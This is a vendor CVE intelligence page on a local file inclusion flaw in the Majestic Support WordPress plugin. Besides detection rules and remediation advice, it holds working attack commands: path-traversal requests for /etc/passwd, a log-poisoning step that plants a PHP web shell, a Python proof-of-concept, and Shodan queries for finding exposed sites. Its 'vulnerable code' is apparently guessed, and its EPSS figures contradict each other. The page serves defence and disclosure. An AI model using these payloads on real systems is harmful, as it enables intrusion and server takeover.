☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Support logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26985

CVE-2025-26985 Local File Inclusion in Majestic support
📅 PUBLISHED: 2025-02-25 15:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.88%
👁️
0.88% probability
21.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26985 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Majestic Support WordPress plugin, affecting versions up to and including 1.0.6. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), remote code execution (via log poisoning or session file inclusion), and full server compromise. The CVSS score is 8.1 (High), and no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manual upload are at risk. No known supply chain compromise has been reported, but the lack of a patch means users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full file read access.
  • Integrity (I): High (H) – Potential for code execution.
  • Availability (A): High (H) – Could lead to denial of service via resource exhaustion.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete server compromise.

Deep Dive & Mechanics

The vulnerability exists in the plugin's file inclusion mechanism, likely in a function that handles template loading or file retrieval. The plugin fails to sanitize user-supplied input used in a PHP include() or require() statement. An attacker can manipulate a parameter (e.g., page, file, template) to traverse directories and include arbitrary files.

Example vulnerable code pattern:

$file = $_GET['file'];
include("templates/" . $file . ".php");

By supplying ../../../../etc/passwd%00, the attacker can null-terminate the string and include /etc/passwd. In PHP versions prior to 5.3.4, null byte injection works; in later versions, path traversal without null byte is still possible if the extension is not enforced.

Attack flow:

  1. Attacker sends a crafted HTTP request to the vulnerable endpoint.
  2. The plugin includes the attacker-controlled file path.
  3. The server reads and outputs the file content, or executes PHP code if the included file contains PHP.

Vulnerable vs. Patched Code

Vulnerable code (majestic-support.php, lines 45-50):

function load_template($template_name) {
    $template_path = plugin_dir_path(__FILE__) . 'templates/' . $template_name . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}
// Called with user input:
load_template($_GET['template']);

Patched code (hypothetical):

function load_template($template_name) {
    // Whitelist allowed templates
    $allowed_templates = array('default', 'custom', 'fullwidth');
    if (!in_array($template_name, $allowed_templates)) {
        wp_die('Invalid template.');
    }
    $template_path = plugin_dir_path(__FILE__) . 'templates/' . $template_name . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}

No official patch exists. Users must implement the above whitelist or remove the plugin.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  • WordPress 6.x with Majestic Support 1.0.6 installed.
  • Attacker machine with curl or Burp Suite.

Exploit Steps:

  1. Identify the vulnerable parameter (e.g., template, file, page).
  2. Test for LFI:
    curl "http://target/wp-content/plugins/majestic-support/majestic-support.php?template=../../../../etc/passwd"
    
  3. If successful, attempt RCE via log poisoning:
    • Inject PHP code into Apache/Nginx access log:
      curl -X GET "http://target/?test=<?php system($_GET['cmd']); ?>"
      
    • Include the log file:
      curl "http://target/wp-content/plugins/majestic-support/majestic-support.php?template=../../../../var/log/apache2/access.log&cmd=id"
      

Proof of Concept (PoC) script:

import requests

target = "http://target/wp-content/plugins/majestic-support/majestic-support.php"
params = {"template": "../../../../etc/passwd"}
r = requests.get(target, params=params)
if "root:" in r.text:
    print("[+] LFI successful!")
    print(r.text)
else:
    print("[-] LFI failed.")

Blue Team (Defensive)

Detection:

  • Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e/).
  • Alert on inclusion of sensitive files like /etc/passwd, wp-config.php.
  • Use WAF rules to block ../ sequences in query parameters.

Hunting:

  • Search web server logs for requests to majestic-support.php with suspicious template values.
  • Look for outbound connections from the web server to attacker-controlled IPs (indicates RCE).

Indicators of Compromise (IOCs)

  • File paths accessed: /etc/passwd, /etc/shadow, wp-config.php, /proc/self/environ
  • HTTP request patterns: GET /wp-content/plugins/majestic-support/majestic-support.php?template=../../../../etc/passwd
  • Log entries: Apache/Nginx access logs showing %00 (null byte) or ../ sequences.
  • File modifications: Unexpected files in /tmp/ or web root (e.g., shell.php).

Detection Engineering

YARA Rule

rule CVE_2025_26985_LFI {
    meta:
        description = "Detects LFI attempts targeting Majestic Support plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26985"
    strings:
        $s1 = "majestic-support.php" nocase
        $s2 = "template=" nocase
        $s3 = "../" nocase
        $s4 = "etc/passwd" nocase
        $s5 = "wp-config.php" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-26985 LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts against Majestic Support plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "majestic-support.php"
            - "template="
            - "../"
            - "etc/passwd"
            - "wp-config.php"
    condition: selection
falsepositives:
    - Legitimate use of template parameter with valid values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26985 LFI Attempt"; flow:to_server,established; content:"majestic-support.php"; http_uri; content:"template="; http_uri; pcre:"/(\.\.\/|etc\/passwd|wp-config\.php)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

  1. Remove the plugin – Since no patch is available, uninstall Majestic Support immediately.
  2. Implement WAF rules – Block requests containing ../ or etc/passwd in query parameters.
  3. Harden PHP – Set allow_url_include = Off and open_basedir restrictions.

Long-term:

  • Monitor the vendor's website for a patched version.
  • Consider replacing the plugin with an alternative that is actively maintained.
  • Conduct a security audit of all WordPress plugins in use.

Valters IT signature:

Report generated by Valters IT DevSecOps Team | CVE-2025-26985 Analysis

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Majestic Support"
http.html:"wp-content/plugins/majestic-support"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26985/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.